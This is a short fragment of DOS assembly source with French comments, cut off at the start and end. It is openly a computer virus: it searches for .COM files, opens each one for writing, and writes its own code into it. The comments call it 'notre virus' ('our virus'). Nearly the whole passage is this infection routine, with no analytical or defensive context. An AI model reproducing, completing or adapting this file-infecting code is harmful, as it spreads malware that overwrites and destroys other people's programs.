h                     ;car on fait un fichier com

debut:

   mov ah,4Eh               ; 
   mov dx,offset fichiercom ;findfirst
   int 21h                  ;

infection:

   jc fin                   ;si on trouve pas on quitte

   mov ax,3D01h             ;ouverture-du-fichier(le 01 indique qu'on ouvre 
			    ;en ecriture)
   mov dx,9Eh               ;car nom en 9Eh
   int 21h

   mov bx,ax                ;handle en bx
   mov ah,40h               ;ecriture
   mov cx,70h               ;taille de notre viru